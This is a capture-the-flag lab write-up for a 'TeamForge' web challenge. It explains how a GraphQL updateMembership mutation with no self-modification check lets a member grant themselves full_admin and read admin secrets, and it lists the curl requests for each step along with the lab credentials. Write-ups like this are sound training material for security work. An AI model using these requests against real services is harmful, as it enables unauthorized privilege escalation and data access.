Lab 294 — TeamForge — GraphQL Self-Escalation via UpdateMembership
Lab 294 — TeamForge — GraphQL Self-Escalation via UpdateMembership
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-02 | Status: Solved Techniques: authorization_bypass, broken_access_control, graphql_introspection, self_privilege_escalation
Summary
Task: SaaS workspace platform with GraphQL API; given member account with manage_members permission. Solution: GraphQL introspection revealed updateMembership mutation that lacks self-modification check — escalated own membership to full_admin, then queried adminSecrets for the flag.
Lab 294 — TeamForge — GraphQL Self-Escalation via UpdateMembership — HackAdvisor
Description
TeamForge is a SaaS workspace management platform. You are given credentials for a team member account (member@teamforge.io / member123) with manage_members permission. Your goal is to escalate privileges to access the flag visible only to workspace administrators.
English summary: A workspace management SaaS with a GraphQL API. Starting as a team member with manage_members permission but without admin access. The flag is only visible to users with full_admin privileges via the adminSecrets query.
Analysis
-
Authentication: Logged in as
member@teamforge.io/member123. The server sets a JWT cookietf_tokencontaininguserId: 2. -
GraphQL Introspection: The
/graphqlendpoint has introspection enabled, allowing full schema enumeration. Key findings:-
mequery — returns current user's membership details:json read-only • copy allowed{ "id": 2, "role": "member", "manage_members": true, "full_admin": false } -
updateMembershipmutation — accepts arguments:id(Int!) — membership ID to updaterole(String) — role namemanage_members(Boolean)view_financials(Boolean)manage_apps(Boolean)full_admin(Boolean)
-
adminSecretsquery — returnsAdminSecrettype withid,key,valuefields. Requiresfull_admin = true.
-
-
Vulnerability: The
updateMembershipmutation checks whether the caller hasmanage_memberspermission, but it does not prevent a user from modifying their own membership record. This is a classic broken access control / self-escalation flaw — the authorization check validates the caller's permission to manage members in general, but fails to enforce the principle that a user should not be able to elevate their own privileges.
Solution
Step 1: Login and obtain JWT
bash read-only • copy allowedcurl -s -c cookies.txt -X POST http://TARGET/api/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"member@teamforge.io","password":"member123"}'
The tf_token cookie is set with a JWT containing userId: 2.
Step 2: Enumerate GraphQL schema via introspection
bash read-only • copy allowedcurl -s -b cookies.txt http://TARGET/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{ __schema { types { name fields { name args { name type { name kind ofType { name } } } } } } }"}' | jq .
Step 3: Confirm current membership
bash read-only • copy allowedcurl -s -b cookies.txt http://TARGET/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{ me { id role manage_members full_admin } }"}' | jq .
Response confirms: id=2, role="member", manage_members=true, full_admin=false.
Step 4: Self-escalate via updateMembership
bash read-only • copy allowedcurl -s -b cookies.txt http://TARGET/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation { updateMembership(id: 2, role: \"admin\", full_admin: true) { id role full_admin } }"}' | jq .
Response:
json read-only • copy allowed{ "data": { "updateMembership": { "id": 2, "role": "admin", "full_admin": true } } }
The mutation succeeds because the server only checks manage_members == true on the caller, without verifying that the target membership ID differs from the caller's own ID.
Step 5: Query admin secrets with elevated privileges
bash read-only • copy allowedcurl -s -b cookies.txt http://TARGET/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{ adminSecrets { id key value } }"}' | jq .
Response:
json read-only • copy allowed{ "data": { "adminSecrets": [ { "id": 1, "key": "master_flag", "value": "FLAG{REDACTED}" } ] } }